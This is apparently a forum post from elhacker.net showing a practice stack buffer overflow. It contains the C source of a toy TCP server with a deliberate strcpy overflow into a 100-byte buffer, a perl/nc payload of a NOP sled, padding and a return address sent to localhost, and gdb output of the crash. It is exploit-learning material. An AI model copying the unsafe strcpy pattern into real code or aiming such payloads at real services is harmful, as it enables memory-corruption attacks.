Foro de elhacker.net

 buffer [cont-1]='\0';

 sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335

#include <sys/socket.h>
#include <arpa/inet.h>
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#include <signal.h>
#include <time.h>
 
int socketfd, newsocket;
 
int feo ()
{
printf ("FEO");
exit (1);
}
 
int vuln (char *trampa)
{
	char buffer [100];
	strcpy (buffer, trampa);
}
 
void shutup (int signal)
{
	times ();
	printf ("Shutting down...\n\n");
	close (newsocket);
	close (socketfd);
	exit (0);
}
 
int times ()
{
	time_t now=time (0);
	struct tm *ahora;
	char buffer [40];
	ahora=localtime ((const time_t*)&now);
	strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
	printf ("%s   ", buffer);
	return 0;
}
 
int main (int argc, char *argv [])
{
	time_t now=time (0);
	struct tm *ahora;
	char hora [40];
	ahora=localtime ((const time_t*)&now);
	strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
	printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
 
	if (getuid()!=0)
	{
		printf ("This proccess must be run by root.\n\n");
		return 1;
	}
	if (argc<2)
	{
		printf ("Use: %s <PORT>\n\n", argv [0]);
		return 1;
	}
	int cont;
	struct sockaddr_in client, host;
	char buffer [1024];
	int size=sizeof (client);
 
	socketfd=socket (2, 1 ,  0);
	host.sin_family=AF_INET;
	host.sin_port=htons (atoi (argv [1]));
	host.sin_addr.s_addr=0;
	bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
 
	listen (socketfd, 3);
 
	times ();
	printf ("Starting up...\n\n");
 
	signal (SIGTERM, shutup);
	signal (SIGINT, shutup);
 
 	while (1)
	{
		newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
 
		times ();
		printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
 
		cont=recv (newsocket, &buffer, 1024, 0); 
		while (cont>2)
		{
			times ();
			buffer [cont-1]='\0';
			printf ("RECV %d bytes: %s\n", cont, buffer);
 
			vuln (buffer);
			cont=recv (newsocket, &buffer, 1024, 0);
		}
		times ();
		printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
		close (newsocket);
	}
	close (socketfd);
	return 0;
}
 

 sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335 

(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07   Starting up...

18/02/2011 00:02:10   Got connection from 127.0.0.1:57358
18/02/2011 00:02:10   RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��

Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)